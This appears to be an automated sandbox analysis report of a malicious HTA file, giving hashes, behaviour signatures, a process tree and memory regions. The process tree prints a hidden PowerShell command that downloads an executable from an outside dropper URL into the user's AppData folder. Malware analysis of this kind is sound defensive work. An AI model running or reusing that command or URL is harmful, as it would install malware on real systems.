Analysis

  • max time kernel
    95s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-11-2024 15:24

General

  • Target

    myguy.hta

  • Size

    13KB

  • MD5

    0487382a4daf8eb9660f1c67e30f8b25

  • SHA1

    736752744122a0b5ee4b95ddad634dd225dc0f73

  • SHA256

    ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6

  • SHA512

    e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106

  • SSDEEP

    192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://french-cooking.com/myguy.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\59460.exe');
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3940
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1360
      2⤵
      • Program crash
      PID:1480
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3124 -ip 3124
    1⤵
      PID:4984

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hunmatu5.rkt.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3940-6-0x0000000005D00000-0x0000000005D66000-memory.dmp

      Filesize

      408KB

    • memory/3940-1-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

      Filesize

      216KB

    • memory/3940-3-0x0000000070F00000-0x00000000716B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3940-4-0x0000000070F00000-0x00000000716B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3940-5-0x0000000005400000-0x0000000005422000-memory.dmp

      Filesize

      136KB

    • memory/3940-0-0x0000000070F0E000-0x0000000070F0F000-memory.dmp

      Filesize

      4KB

    • memory/3940-7-0x0000000005D70000-0x0000000005DD6000-memory.dmp

      Filesize

      408KB

    • memory/3940-2-0x0000000005660000-0x0000000005C88000-memory.dmp

      Filesize

      6.2MB

    • memory/3940-17-0x0000000005EE0000-0x0000000006234000-memory.dmp

      Filesize

      3.3MB

    • memory/3940-18-0x00000000063A0000-0x00000000063BE000-memory.dmp

      Filesize

      120KB

    • memory/3940-19-0x00000000063F0000-0x000000000643C000-memory.dmp

      Filesize

      304KB

    • memory/3940-20-0x0000000007A10000-0x000000000808A000-memory.dmp

      Filesize

      6.5MB

    • memory/3940-21-0x00000000068A0000-0x00000000068BA000-memory.dmp

      Filesize

      104KB

    • memory/3940-24-0x0000000070F00000-0x00000000716B0000-memory.dmp

      Filesize

      7.7MB